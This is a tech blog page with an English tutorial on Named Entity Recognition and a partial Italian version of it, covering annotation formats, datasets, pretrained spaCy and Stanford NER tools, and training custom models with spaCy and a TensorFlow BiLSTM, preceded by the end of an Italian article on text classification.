In questo articolo sono stati citati solo alcuni degli argomenti più rilevanti per quanto concerne la classificazione testuale. Kamran Kowsari ha approfondito attraverso un paper molto completo, tutti gli aspetti legati a questo task, espondendone in modo eccellente vantaggi e svantaggi. Si tratta di una trattazione che tocca moltissimi aspetti che riguardano non solo il task della classificazione testuale, ma in generale tutto il mondo del Natural Language Processing. Se vi occupate di NLP non potete perderlo.

Paper di riferimento: Kowsari, K., Meimandi, K. J., Heidarysafa, M., Mendu, S., Barnes, L. E., & Brown, D. E. (2019). Text Classification Algorithms: A Survey.

Articolo Medium: Text Classification Algorithms: A Survey.

NLP e Named Entity Recognition

Fri, 11 Dec 2020 00:00:00 GMT

This is the first in a series of articles covering that part of machine learning known as Natural Language Processing (NLP).

This article refers to several key concepts in Machine Learning.
Read the article Machine learning and applications for industry for the main definitions.

With Natural Language Processing we refer to that interdisciplinary research field that embraces computer science, artificial intelligence and linguistics, whose purpose is to develop algorithms capable of analyzing, representing and therefore "understanding" natural language, written or spoken, in a similar or even more efficient way than human beings.

Huge amounts of text and speech content are generated and stored nowadays. Very often no use is made of this data, unaware of the fact that instead they represent an invaluable source of value, thanks to which it is possible to create tools and applications which can bring a considerable added value.

By exploiting the textual and vocal content available, it is possible, for example, to create tools for::

Named Entity Recognition: recognize and extract entities and semantic information from the text.
Text Classification: classify textual content, for example the sentiment analysis of a text (positive or negative).
Entity linking: disambiguate the entities identified in the text (link the textual entities to identifying concepts).
Topic Modeling: automatically extract the main topics present in a textual corpus.
Autocompletion: autocompletion of a query for example.
Machine translation: translation of textual content from one language to another.
Speech Recognition: transformation of voice content into textual content (technology behind chatbots).

In this first article we will cover the task known as Named Entity Recognition (NER). We will see how it is possible to create a tool capable of recognizing entities in the text and what are some of its possible applications.

Named Entity Recognition

The Named Entity Recognition is placed within that subclass of task which in NLP is defined as Information Extraction. Through NER it is possible to identify entities in the text and associate them with the corresponding semantic categories such as persons, organizations, entities of geopolitical type, geographic, numbers, temporal expressions and so on.

Figure 1 - Named Entity Recognition

We are talking about a task that has had a strong development in recent times, especially thanks to the advent of Deep Learning. The use of very deep neural networks has greatly increased and improved the effectiveness of entity recognition tools.
Before the advent of Deep Learning, the most used tool was the so-called Hidden Markov Model, a statistical model based on Markov chain, but that did not guarantee the same performance as today's Deep Learning-based models.
Two examples of training models for entity recognition will be shown later in the article, both based on the use of algorithms made with neural networks.

Annotation techniques and tools

The task of the Named Entity Recognition is addressed through approaches of supervised type, and for this reason it is necessary to have a set of labeled data available in order to train a model to recognize entities. Each textual content must be labeled with the list of tokens and related tags for each entity that is to be recognized in the text.

There are several formats to represent a training dataset for Named Entity Recognition. Let's see the two most used.

A first format is the one called BILUO scheme, where the different parts of the entities are mapped according to the scheme in Figure 2. Entities are tagged with the semantic category preceded by one of the defined prefixes.

Figure 2 - BILUO scheme

The mapping between tokens and entities is then saved in a csv file, using a separate label for all tokens that do not fall within the semantic categories of reference.

Figure 3 - Mapping with BILUO scheme

The BILUO scheme is perhaps the most popular format.

A second format is a simplified version of the BILUO scheme. It is called the IOB schema. This is a less fine-grained scheme, where the prefix associated with the entity indicates only whether it is a token at the beginning or within the entity consisting of several words.
The scheme follows the specifications defined in the figure below.

Figure 4 - IOB Scheme

A third representation is in jsonl format. In this format, each textual content is associated with a list that indicates, for each entity, the position in the text and the associated semantic category.

{   
  "text": ""Sharon flew to Miami last friday"", 
  "entities": [(0, 5, "PERSON"), (15, 20, "LOC"), (26, 32, "DATE")]
}

Source Code 1 - Example in jsonl format

Experts identify the BILUO scheme as the best to make models for Named Entity Recognition as accurate as possible. This is because, through the multi-prefix scheme, they specify more detailed information in the text, which improves the capabilities of learning of the Machine Learning algorithm used.
But even using the IOB and jsonl format, very often it is possible to achieve noteworthy performance.
Switching between formats is relatively simple and can be accomplished by defining rules-based procedures easy intuition. In addition, many NLP libraries already define predefined functions to transform your dataset into the desired format.

To label and transform data into one of these formats, there are ad hoc tools called annotators . An annotator allows you to upload your data as plain text and then label it in a graphical environment which makes the annotation process more agile. Annotators allow you to label data for NER, but also for textual classification tasks rather than sequence-to-sequence tasks.

In the case of NER, an annotator presents a graphic like the one below in the figure, with functionalities that allow to carry out the annotation activity simply by highlighting the text and specifying the label to assign.

Figure 5 - Docccano screenshot

The example screen is from doccano, a well structured and open source annotator. Doccano, once labeled the data, allows you to export the dataset in jsonl format. To be mentioned, on the other hand, among the paid ones [ Prodigy ] (https://prodi.gy/), an advanced annotator, enhanced through the concept of active learning; this is developed by [Explosion.ai] (https://explosion.ai/), creators of the opensource library of NLP [ Spacy ] (https://spacy.io/).

Dataset

If you want to train models for the recognition of entities, one option is to first analyze some labeled datasets present at state of the art. These tend to be generic datasets, with entities labeled with semantic categories relating to personal names, organizations, locations, dates, temporal entities; however, it is also possible to find datasets labeled, concerning to more specific domains. These datasets are almost always in English, but very often this problem can be overcome by using machine translation tools before carrying out the activity of Named Entity Recognition, translating the content from the Italian language to the English language, and vice versa.

Here is a list of some of the tagged datasets on the net:

Annotated Corpus for Named Entity Recognition: dataset in BILUO Schema containing textual content labeled with geographical, geopolitical, temporal entities, etc ...
CoNLL 2003: dataset in BILUO Scheme containing news articles annotated with (LOC) locality, ORG (organizations), PER (people) and MISC (miscellaneous).
Enron Email Dataset: more than 500,000 emails tagged with names, dates and time entities.
OntoNotes 5: it is a dataset of news, telephone conversations, blog content tagged with entities of different kinds.

Overview of tools for Named Entity Recognition

At the state of the art there are many tools and libraries that deal with the creation and implementation of tools in the field of Natural Language Processing. These tools provide both pre-trained templates that are easy to use and quickly integrate into your code, and the possibility to train new ones with your own data, using predefined modules that simplify the training of new Machine Learning tools.
In the next section we will see how to train custom models on your own data. Now let's see some easy-to-use tools that provide pre-trained models for recognizing entities in the text.

Spacy

Figure 6 - Spacy

[ Spacy ] (https://spacy.io/) is a Natural Language Processing framework, which deals with the development and implementation of Machine Learning techniques for many of the most popular nlp tasks. Spacy, a completely open source tool, also provides a list of pre-trained models, with support for different languages, through which can be performed on textual content some natural language processing tasks, such as entity recognition.

# installazione di spacy
pip install -U spacy

#download del modello
python -m spacy download it_core_news_sm

# import
import spacy

# loading of choosen model
nlp = spacy.load("en_core_web_sm")

# running model on text and printing recognized entities
doc = nlp("Apple is looking at buying U.K. startup for $1 billion")
for ent in doc.ents:
    print(ent.text, ent.start_char, ent.end_char, ent.label_)

Source Code 2 - Spacy Named Entity Recognition

In these two code snippets we see how to install through pip in the your Python environment the library and download the chosen model. Subsequently, with two simple lines of code, you can load the model and run it on textual content.

Stanford NLP

Figure 7 - Stanford NLP

Stanford NLP is a research group at Stanford University dedicated to NLP and which has created a suite of tools for various nlp tasks including Named Entity Recognition.

# import
import nltk
from nltk.tag.stanford import StanfordNERTagger

# text to processing
sentence = "Sharon flew to Miami last friday"

# jar of the model
jar = './stanford-ner-tagger/stanford-ner.jar'
model = './stanford-ner-tagger/ner-model-english.ser.gz'

# preparing ner tagger object with choosen jar
ner_tagger = StanfordNERTagger(model, jar, encoding='utf8')

# tokenization: splitting text
words = nltk.word_tokenize(sentence)

# performing ner tagger on words
print(ner_tagger.tag(words))

Source Code 3 - Stanford NLP Ner

In this snippet, the nltk library is used to tokenize the textual content and transform it into a wordlist. Subsequently this list is fed to the "ner tagger" which returns entities in output.

Training of custom models

We have seen how at state-of-the-art there are tools and models already trained and how these can be used to identify entities on own textual content.
But in many cases they turn out to be insufficient, both because we want to identify entities relating to different semantic categories, and because the models pre-trained are not suitable for the data source on which they want to perform the entity recognition activity. In these cases it is more convenient to train your own models for Named Entity Recognition, using your own data, which are been tagged with the help of annotators, as seen in the previous section.

Here are two examples of training custom models, through the use of the Spacy library and the Deep Learning libraryTensorflow.

Visit the Github repository where is presente the source code of the examples, described and executable in well documented jupyter notebook.

Spacy

Spacy, as already mentioned, is a Machine Learning library, completely dedicated to the development of tools for the different tasks of Natural Language Processing. It is a well-structured framework with advanced features, which make it very suitable for production contexts.
In addition to tools already trained and quickly usable, as seen in the previous section, it provides a whole series of apis and functions through which you can create and train your own models, quickly and efficiently, without having to worry about having to manage all the lower level aspects, which usually must be addressed during training of a Machine Learning model.

Spacy provides pre-defined and configurable pipelines for many NLP tasks, including Named Entity Recognition. Let's see how to train quickly a model for this task with a few lines of code, without having to manage aspects concerning the definition of the model architecture, management data rather than model management.

In this first code snippet:

the necessary libraries are imported
a sample of the training data is defined in jsonl format, which in a real context should instead be read from a specific file with the training data
a new model is initialized or an existing model is loaded from which to start training
the "ner" pipeline in the model is initialized, if this is not already present

from __future__ import unicode_literals, print_function

import random
import warnings
import spacy
from spacy.util import minibatch, compounding


# training data
TRAIN_DATA = [
    ("Sharon flew to Miami last friday", {"entities": [(0, 5, "PERSON"), (15, 20, "LOC"), (26, 32, "DATE")]}),
    ("Daniele works in Rome for SMC Treviso", {"entities": [(0, 6, "PERSON"), (16, 20, "LOC"), (25, 36, "ORG")]}),
]

model=None
output_dir=None
n_iter=100

"""Load the model, set up the pipeline and train the entity recognizer."""
if model is not None:
    nlp = spacy.load(model)  # load existing spaCy model
    print("Loaded model '%s'" % model)
else:
    nlp = spacy.blank("en")  # create blank Language class
    print("Created blank 'en' model")

# create the built-in pipeline components and add them to the pipeline
# nlp.create_pipe works for built-ins that are registered with spaCy
if "ner" not in nlp.pipe_names:
    ner = nlp.create_pipe("ner")
    nlp.add_pipe(ner, last=True)
# otherwise, get it so we can add labels
else:
    ner = nlp.get_pipe("ner")

# add labels
for _, annotations in TRAIN_DATA:
    for ent in annotations.get("entities"):
        ner.add_label(ent[2])

Source Code 4 - Initialization of a model in Spacy

The actual training logic is instead implemented in the following code.
Model pipelines are initially filtered, disabling any unnecessary ones to train a model for the recognition of entities. Then on the basis of the specified number of iterations, iterates over the data, which are divided into minibatches, and update the parameters of the model iteration after iteration. The Dropout can be configured depending on needs.
The example prints the model loss at the end of each training iteration.

# get names of other pipes to disable them during training
pipe_exceptions = ["ner", "trf_wordpiecer", "trf_tok2vec"]
other_pipes = [pipe for pipe in nlp.pipe_names if pipe not in pipe_exceptions]
# only train NER
with nlp.disable_pipes(*other_pipes), warnings.catch_warnings():
    # show warnings for misaligned entity spans once
    warnings.filterwarnings("once", category=UserWarning, module='spacy')

    # reset and initialize the weights randomly – but only if we're
    # training a new model
    if model is None:
        nlp.begin_training()
    for itn in range(n_iter):
        random.shuffle(TRAIN_DATA)
        losses = {}
        # batch up the examples using spaCy's minibatch
        batches = minibatch(TRAIN_DATA, size=compounding(4.0, 32.0, 1.001))
        for batch in batches:
            texts, annotations = zip(*batch)
            nlp.update(
                texts,  # batch of texts
                annotations,  # batch of annotations
                drop=0.5,  # dropout - make it harder to memorise data
                losses=losses,
            )
        print("Losses", losses)

Source Code 5 - Model training

Finally, to finish the training process, the model, in a very simple way, can be saved on disk, and in an equally simple way, loaded to be used in real contexts, by specifying the path where the model was saved.

# save model to output directory
if output_dir is not None:
    output_dir = Path(output_dir)
    if not output_dir.exists():
        output_dir.mkdir()
    nlp.to_disk(output_dir)
    print("Saved model to", output_dir)

# test the saved model
print("Loading from", output_dir)
nlp2 = spacy.load(output_dir)
for text, _ in TRAIN_DATA:
    doc = nlp2(text)
    print("Entities", [(ent.text, ent.label_) for ent in doc.ents])
    print("Tokens", [(t.text, t.ent_type_, t.ent_iob) for t in doc])

Source Code 6 - Saving and loading model

In this example the architecture of the model is not defined in any way, nor the vocabulary at the base of the model is managed, as well as the process of archiving and saving the model.
It's all handled by Spacy, which defines all the Named Entity Recognition logic in the reference pipeline. This also allows those who are less experienced to be able to undertake the training of a model for such a task.

In any case, by investigating in depth the implementation of the pipeline, we find that the architecture used is that of a convolutive network with residual connections. These are convolutional networks which, similarly to what happens in pyramidal cells of our cerebral cortex, define residual connections with other parts of the neural network; for some NLP tasks these networks prove to perform very effectively and outperform other Deep Learning algorithms.

For further information and more details there is excellent documentation on the Spacy website, both regarding the training procedure, both regarding the architecture used.
The configuration used can in many cases immediately lead to excellent performance; it is always recommended to carry out an optimization of the parameters in order to identify the best configuration. For advice on how to perform this optimization visit https://spacy.io/usage/training#tips.

Tensorflow

Tensorflow is one of the most used Deep Learning libraries both for experimentation and in context of production. It defines a multitude of tools and techniques commonly used to make Machine Learning models based on very deep neural networks. It is managed by Google and is completely open source.

Figure 8 - Tensorflow

Tensorflow allows to realize any model based on Deep Learning, giving the possibility to design networks both through very advanced techniques that allow the coding of the lower level aspects, both using predefined layers to create your own neural network with the architecture that best suits your needs, configuring the different layers and training logic to your needs, looking for the best performance.

In Spacy we are in fact forced to use the architecture chosen by the developers, being able to act in some of its configuration parameters, but without being able to define the training algorithm in detail.
The architecture provided by the Spacy tool in many cases can prove to be the best, but it could also be that, due to a certain data source and the nature of the entities to be recognized, there is a better algorithm than the convolutional networks chosen in Spacy.

With Tensorflow, as mentioned, any algorithm and model can be created, based on Deep Learning. So let's see how to define a model for Named Entity Recognition using Tensorflow Keras and bidirectional recurrent neural networks of type [LSTM] (https://en.wikipedia.org/wiki/Long_short-term_memory).
The recurrent neural networks are well suited where it is important to identify relationships between features for the task to be performed. And for this reason they are widely used for NLP tasks, where relationships in the text are very important, such as entity recognition.

# import
import pandas as pd
import numpy as np
import pickle
import tensorflow as tf
from tensorflow.keras.preprocessing.sequence import pad_sequences
from tensorflow.keras.utils import to_categorical
from tensorflow.keras import Model, Input
from tensorflow.keras.layers import LSTM, Embedding, Dense
from tensorflow.keras.layers import TimeDistributed, SpatialDropout1D, Bidirectional
from tensorflow.keras.callbacks import EarlyStopping
from sklearn.model_selection import train_test_split

Source Code 7 - Import of necessary libraries

Having to define the logic at a lower level, data management must also be done in a different way, managing aspects that in Spacy they are managed by the library itself.
The following snippet reads the training data, in BILUO format, into a pandas dataframe. The lists are then created without duplicates of the token and tags present in the dataset. Finally, according to the logic defined by the SentenceGetter class, the dataset is splitted into different sentences, and vocabularies that map word and tag lists to numeric identifiers are created.

# class to split dataset in sentences
class SentenceGetter(object):
    def __init__(self, data):
        self.n_sent = 1
        self.data = data

        agg_func = lambda s: [(w, t) for w, t in zip(s["Word"].values.tolist(), s["Tag"].values.tolist())]

        self.grouped = self.data.groupby("Sentence #").apply(agg_func)
        self.sentences = [s for s in self.grouped]

# reading csv in pandas dataframe
data = pd.read_csv("data/biluo_train_data.csv", encoding='latin1')
data.fillna(method='ffill')
data.head(20)

print("Unique words in corpus:", data['Word'].nunique())
print("Unique tags in corpus:", data['Tag'].nunique())

# defining list of words
words = list(set(data["Word"].values))
words.append("ENDPAD")
num_words = len(words)

# defining list of tags
tags = list(set(data["Tag"].values))
num_tags = len(tags)
print (num_words, num_tags)

# splitting dataset in sentences
getter = SentenceGetter(data)
sentences = getter.sentences

# defining dictionaries to mapping words and tags to integers
word2idx = {w: i+1 for i, w in enumerate(words)}
tag2idx = {t: i for i, t in enumerate(tags)}

Source Code 8 - Reading and transformation of data

At this point the vocabularies created are used to map each textual content on a sequence of integers, thus being able to give these as input to the neural network defined for the training epochs.
Once this is done, the sets of data and associated tags are splitted into a training set and a test set, which will be used for the evaluation of the trained model.

# max len of sentencess
max_len = 400

# for every sentence mapping words to integer id based on dictionary word2idx and padding every sequence to same length
X = [[word2idx[w[0]] for w in s] for s in sentences]
X = pad_sequences(maxlen=max_len, sequences=X, padding='post', value=num_words-1)

# for every sentence mapping tags to integer id based on dictionary tag2idx and padding every sequence to same length
y = [[tag2idx[w[1]] for w in s] for s in sentences]
y = pad_sequences(maxlen=max_len, sequences=y, padding='post', value=tag2idx["O"])
y = [to_categorical(i, num_classes=num_tags) for i in y]

# splitting dataset in train and test set
x_train, x_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=1)

Source Code 9 - Data mapping

Figure 9 - Example of data mapping

At this point the architecture of the model is defined. It is a network with an initial Embedding layer, a bidirectional LSTM layer and finally a TimeDistributed layer, which defines a fully connected layer on the same time windows. For further information on the nature of the different layers please refer to the official documentation.

The model is then trained over a number of epochs, using EarlyStopping as a callback that monitors the training and stops it if the network begins to suffer from overfitting, i.e. excessive adaptation of the training data, with consequent loss of accuracy on the test data.

input_word = Input(shape=(max_len,))
model = Embedding(input_dim=num_words, output_dim=max_len, input_length=max_len)(input_word)
model = SpatialDropout1D(0.1)(model)
model = Bidirectional(LSTM(units=100, return_sequences=True, recurrent_dropout=0.1))(model)
out = TimeDistributed(Dense(num_tags, activation='softmax'))(model)
model = Model(input_word, out)
model.summary()

model.compile(optimizer='adam', loss='categorical_crossentropy', metrics=['accuracy'])

early_stopping = EarlyStopping(monitor='val_loss', min_delta=0, patience=10, verbose=0, mode='auto', baseline=None,
                               restore_best_weights=False)
callbacks = [early_stopping]

history = model.fit(
    x_train, np.array(y_train),
    validation_split=0.2,
    batch_size=32,
    epochs=30,
    verbose=1)

Source Code 10 - Definition of the model architecture and training

Finally the model is saved on disk, storing every component necessary for future use. Not only the model is saved, but also all the vocabularies necessary for data transformations.

with open('models/bilstm/word2idx.pickle', 'wb') as handle:
    pickle.dump(word2idx, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/tag2idx.pickle', 'wb') as handle:
    pickle.dump(tag2idx, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/words.pickle', 'wb') as handle:
    pickle.dump(words, handle, protocol=pickle.HIGHEST_PROTOCOL)

with open('models/bilstm/tags.pickle', 'wb') as handle:
    pickle.dump(tags, handle, protocol=pickle.HIGHEST_PROTOCOL)

# Saving Model Weight
model.save('models/bilstm/bilstm.h5')

Source Code 11 - Esempio in formato JSONL

To reuse the model just load it specifying the path where it was stored, importing the dictionaries as well. We also define a function to tokenize text using nltk.

import nltk

# Custom Tokenizer
def tokenize(s): return nltk.word_tokenize(s)

sentence = "Sharon flew to Miami last friday"

max_len = 400

# loading dictionaries
with open(ROOT_FOLDER + '/bilstm_3/word2idx.pickle', 'rb') as handle:
    word2idx = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/tag2idx.pickle', 'rb') as handle:
    tag2idx = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/words.pickle', 'rb') as handle:
    words = pickle.load(handle)

with open(ROOT_FOLDER + '/bilstm_3/tags.pickle', 'rb') as handle:
    tags = pickle.load(handle)

# loading model
model = load_model(ROOT_FOLDER + '/bilstm_3/bilstm_3.h5')

Source Code 12 - Loading the model and dictionaries

At this point we tokenize the text, pad it to the specified maximum length and input it to the model, that will return the tag and associated probability for each token.

# Tokenization
test_sentence = tokenize(sentence)

# Preprocessing
x_test_sent = pad_sequences(sequences=[[word2idx.get(w, 0) for w in test_sentence]],
                            padding="post", value=len(words)-1, maxlen=max_len)

# Predicting tags and probabilities
p_pred = model.predict(np.array([x_test_sent[0]]))
p = np.argmax(p_pred, axis=-1)

prediction = []

# Visualization
for w, pred, probs in zip(test_sentence, p[0], p_pred[0]):
    prediction.append((w, tags[pred], probs[pred]))

Source Code 13 - Use of the model for tag prediction

As mentioned, use Tensorflow, rather than another Deep Learning library, to train models for this task, generally, is more complex and requires more knowledge of all the basic aspects of Machine Learning.
In many cases, tools like Spacy allows you to reach very high levels of performance, but if you can't to achieve noteworthy performance, then tools like Tensorflow can be used to research the neural network and configuration that best suits your case.

Applications of NER

The ability to intelligently and effectively identify entities in the text allows us to tag textual content with those that can be relevant concepts for the content itself. This translates into the possibility of creating or improving a series of possible applications.

🔍 Research systems

Through the use of NER it is possible to improve both efficiency and effectiveness of the research systems.
In efficiency, by actually carrying out searches directly on the list of tags or entities associated with the different contents, instead of doing a full text search.
In effectiveness, allowing you to carry out targeted searches on certain types of entities.
For example, if i want to search for documents that refer to a particular person or organization, i can recognize through the NER these types of entities, and map them on specific fields, actually carrying out a search that filters based on the type of category and specified value. Or for example, tag past emails, with people and email addresses, also specifying their context.
An application of this kind can be very important in an enterprise context, with the aim of searching quickly and effectively, the contents of a company, of an employee rather than of a customer.

☎️ Customer Service

The customer care of companies is having to navigate hundreds or thousands of support messages per day. The ability to tag the different incoming messages and tickets, can greatly speed up the ability to send correctly and quickly tickets to departments specialized in dealing with the specific type of problem.

👀 Recommendation systems

In recommendation systems it is essential to analyze what a user explores, and in the case of a textual recommendation system, as can be a news recommendation tool for example, the ability to recognize entities in the text allows to analyze the contents that the user visits, in order to then recommend similar ones.

NLP e Named Entity Recognition

Fri, 11 Dec 2020 00:00:00 GMT

Questo è il primo di una serie di articoli che riguardano quella parte del machine learning nota come Natural Language Processing (NLP).

In questo articolo si fa riferimento a diversi concetti chiave in ambito Machine Learning.
Leggere l'articolo Machine learning e applicazioni per l'industria per le principali definizioni.

Con Natural Language Processing si fa riferimento a quel campo di ricerca interdisciplinare che abbraccia informatica, intelligenza artificiale e linguistica, il cui scopo è quello di sviluppare algoritmi in grado di analizzare, rappresentare e quindi “comprendere” il linguaggio naturale, scritto o parlato, in maniera similare o addirittura più performante rispetto agli esseri umani.

Al giorno d'oggi vengono generati e memorizzati quantità enormi di contenuti testuali e vocali. Si tratta di dati dei quali molto spesso non si fa uso, non consci del fatto che invece rappresentano una fonte inestimabile di valore, grazie ai quali è possibile realizzare strumenti e applicazioni che possono portare un valore aggiunto non indifferente.

Sfruttando i contenuti testuali e vocali a disposizione è possibile realizzare ad esempio strumenti di:

Named Entity Recognition: riconoscere ed estrarre entità e informazioni di tipo semantico dal testo.
Text Classification: classificare contenuti testuali, ad esempio l'analisi del sentiment di un testo(positivo o negativo).
Entity linking: disambiguare le entità individuate nel testo(collegare le entità testuali a concetti identificativi).
Topic Modeling: estrarre in modo automatico i topic principali presenti in un corpus testuale.
Autocompletion: autocompletamento di una query ad esempio.
Machine translation: traduzione di un contenuto testuale da una lingua ad un'altra.
Speech Recognition: trasformazione di contenuti vocali in contenuti testuali (tecnologia alla base dei chatbot)

In questo primo articolo verrà trattato il task noto come Named Entity Recognition (NER). Vedremo come è possibile realizzare uno strumento in grado di riconoscere entità nel testo e quali sono alcune delle sue possibili applicazioni.

Named Entity Recognition

La Named Entity Recognition si colloca all'interno di quella sottoclasse di task che in NLP è definita come Information Extraction. Attraverso la NER è possibile identficare entità nel testo e associarle alle corrispondenti categorie semantiche come persone, organizzazioni, entità di tipo geopolitico, geografico, numeri, espressioni temporali e via dicendo.

Figura 1 - Named Entity Recognition

Stiamo parlando di un task che negli ultimi tempi ha avuto un forte sviluppo, soprattutto grazie all'avvento del Deep Learning. L'utilizzo di reti neurali molto profonde ha incrementato e migliorato molto l'efficacia di strumenti per il riconoscimento delle entità.
Prima dell'avvento del Deep Learning, lo strumento più utilizzato risultava essere il cosiddetto Hidden Markov Model, un modello statistico basato su Processo di Markov, ma che non garantiva le stesse prestazioni degli odierni modelli basati su Deep Learning.
Più avanti nell'articolo verranno mostrati due esempi di addestramento di modelli per il riconoscimento delle entità, entrambi basati sull'utilzzo di algoritmi realizzati con reti neurali.

Tecniche di annotazione e tool

Il task della Named Entity Recognition viene affrontato tramite approcci di tipo supervisionato, e per questo motivo è necessario avere a disposizione un insieme di dati etichettati per poter addestrare un modello per riconoscere le entità. Ogni contenuto testuale deve essere etichettato con la lista dei token e i relativi tag, per ogni entità che si vuole riconoscere nel testo.

Esistono diversi formati per rappresentare un dataset di addestramento per la Named Entity Recognition. Vediamo i due più utilizzati.

Un primo formato è quello che prende il nome di schema BILUO, dove le diverse parti che costituiscono le entità sono mappate secondo lo schema in Figura 2. Le entità sono etichettate con la categoria semantica precededuta da uno dei prefissi definiti, specificando quindi se si tratta di entità multi-token o no, e la posizione dei diversi token che costituiscono l'entità.

Figura 2 - Schema BILUO

Il mapping tra i token e le entità viene poi salvato in un file csv, utilizzando un'etichetta a parte per tutti i token che non rientrano nelle categorie semantiche di riferimento.

Figura 3 - Mapping con schema BILUO

Lo schema BILUO è forse il formato più diffuso.

Un secondo formato è una versione semplificata dello schema BILUO. Prende il nome di schema IOB. Si tratta di uno schema a granularità meno fine, dove il prefisso associato all'entità indica solo se si tratta di un token all'inizio o all'interno dell'entità composta da più parole.
Lo schema segue le specifiche definite nella figura sottostante.

Figura 4 - Schema IOB

Una terza rappresentazione è in formato jsonl. In questo formato si associa ad ogni contenuto testuale una lista che indica, per ogni entità, la posizione nel testo e la categoria semantica associata.

{   
  "text": ""Sharon flew to Miami last friday"", 
  "entities": [(0, 5, "PERSON"), (15, 20, "LOC"), (26, 32, "DATE")]
}

Source Code 1 - Esempio in formato JSONL

Gli esperti individuano lo schema BILUO come il migliore per realizzare modelli per la Named Entity Recognition il più accurati possibile. Questo perchè, attraverso lo schema a più prefissi, specificano informazioni più dettagliate nel testo, che migliorano le capacità di apprendimento dell'algoritmo di Machine Learning utilizzato.
Ma anche utilizzando lo schema in formato IOB e jsonl, molto spesso si riescono a raggiungere prestazioni degne di nota.
Il passaggio da un formato all'altro è relativamente semplice e può essere eseguito attraverso la definizione di procedure basate su regole di facile intuizione. Inoltre molte librerie di NLP definiscono già funzioni predefinite per trasformare il proprio dataset nel formato desiderato.

Per etichettare e trasformare i dati in uno di questi formati, esistono degli strumenti ad hoc chiamati annotatori. Un annotatore permette di caricare i propri dati come plain text e poi etichettarli in un ambiente grafico che rende più agile il processo di annotazione. Gli annotatori permettono di etichettare dati per la NER, ma anche per task di classificazione testuale piuttosto che task di tipo sequence-to-sequence.

Nel caso della NER, un annotatore presenta una grafica come quella che segue in figura, con delle funzionalità che permettono di svolgere l'attività di annotazione semplicemente evidenziando il testo e specificando l'etichetta da assegnare.

Figura 5 - Schermata di Docccano

La schermata di esempio proviene da doccano, un'annotatore ben strutturato e open source. Doccano, una volta etichettati i dati, permette di esportare il dataset in formato jsonl. Da citare invece tra quelli a pagamento Prodigy, un annotatore avanzato e potenziato attraverso il concetto di active learning; è sviluppato da Explosion.ai, creatori della libreria opensource di NLP Spacy.

Dataset

Qualora si voglia addestrare dei modelli per il riconscimento delle entità, un opzione è quella di analizzare prima alcuni dataset etichettati presenti allo stato dell'arte. Si tratta tendenzialmente di dataset generici, con entità etichettate con categorie semantiche relative a nomi di persona, organizzazioni, località, date, entità temporali; è comunque possibile anche trovare dataset etichettati rispetto a domini più specifici. Questi dataset sono quasi sempre in lingua inglese, ma molto spesso questo problema può essere superato utilizzando dei tool di machine translation prima di svolgere l'attività di Named Entity Recognition, traducendo il contenuto dalla lingua italiana alla lingua inglese, e viceversa.

Ecco una lista di alcuni dei dataset etichettati presenti in rete:

Annotated Corpus for Named Entity Recognition: dataset in BILUO Schema contenente contenuti testuali etichettati con entità geografiche, geopolitiche, temporali, ecc...
CoNLL 2003: dataset in BILUO Schema contenente articoli di news annotati con (LOC) località, ORG (organizzazioni), PER (persone) and MISC (varie).
Enron Email Dataset: più di 500.000 email taggate con nomi, date e entità temporali.
OntoNotes 5: si tratta di un dataset di news, conversazioni telefoniche, contenuti di blog etichettati con entità di diverso genere.

Panoramica sui tool per la Named Entity Recognition

Allo stato dell'arte sono presenti molti tool e librerie che si occupano della realizzazione e dell'implementazione di strumenti in ambito Natural Language Processing. Questi tool forniscono sia dei modelli preaddestrati, facili da utilizzare e integrare velocemente nel proprio codice, sia la possibilità di addestrarne dei nuovi con i propri dati, sfruttando moduli predefiniti che semplificano l'addestramento di nuovi strumenti di Machine Learning.

Nella sezione successiva vedremo come addestrare modelli custom su dati propri. Vediamo ora, invece, alcuni tool, di facile utilizzo, che forniscono modelli preaddestrati per il riconoscimento delle entità nel testo.

Spacy

Figura 6 - Spacy

Spacy è un framework di Natural Language Processing, che si occupa dello sviluppo e dell'implementazione di tecniche di Machine Learning per molti dei più diffusi task di nlp. Spacy, tool completamente open source, fornisce inoltre una lista di modelli preaddestrati, con supporto per diverse lingue, tramite i quali è possibile eseguire su contenuti testuali processi di elaborazione del linguaggio naturale, come il riconoscimento delle entità.

# installazione di spacy
pip install -U spacy

#download del modello
python -m spacy download it_core_news_sm

# import
import spacy

# loading of choosen model
nlp = spacy.load("en_core_web_sm")

# running model on text and printing recognized entities
doc = nlp("Apple is looking at buying U.K. startup for $1 billion")
for ent in doc.ents:
    print(ent.text, ent.start_char, ent.end_char, ent.label_)

Source Code 2 - Spacy Named Entity Recognition

In questi due snippet di codice vediamo come installare attraverso pip nel proprio ambiente Python la libreria e fare il download del modello scelto. Successivamente, con due semplici righe di codice, è possibile caricare il modello ed eseguirlo sul contenuto testuale a piacere.

Stanford NLP

Figura 7 - Stanford NLP

Stanford NLP è un gruppo di ricerca della Stanford University che si dedica al NLP e che ha realizzato una suite di strumenti per diversi task tra cui anche la Named Entity Recognition.

# import
import nltk
from nltk.tag.stanford import StanfordNERTagger

# text to processing
sentence = "Sharon flew to Miami last friday"

# jar of the model
jar = './stanford-ner-tagger/stanford-ner.jar'
model = './stanford-ner-tagger/ner-model-english.ser.gz'

# preparing ner tagger object with choosen jar
ner_tagger = StanfordNERTagger(model, jar, encoding='utf8')

# tokenization: splitting text
words = nltk.word_tokenize(sentence)

# performing ner tagger on words
print(ner_tagger.tag(words))

Source Code 3 - Stanford NLP Ner

In questo snippet viene utilizzata la libreria nltk per tokenizzare il contenuto testuale e trasformarlo in una lista di parole. Successivamente questa lista viene data in pasto al "ner tagger" che restituisce le entità in output.

Training di modelli custom

Abbiamo visto come allo stato dell'arte siano presenti tool e modelli già addestrati e come questi possono essere utilizzati per individuare le entità sui propri contenuti testuali.
Ma in molti casi si rivelano insufficienti, sia perchè si vogliono individuare entità relative a categorie semantiche diverse, sia perchè i modelli preaddestrati non sono adatti alla sorgente dati sulla quale vuole svolgere l'attività di riconoscimento delle entità. In questi casi risulta più conveniente addestrare dei propri modelli per la Named Entity Recognition, utilizzando i propri dati, che sono stati etichettati tramite l'ausilio di annotatori, come visto nella sezione precedente.

Seguono due esempi di addestramento di modelli custom, attraverso l'utilizzo della libreria Spacy e della libreria di Deep Learning Tensorflow.

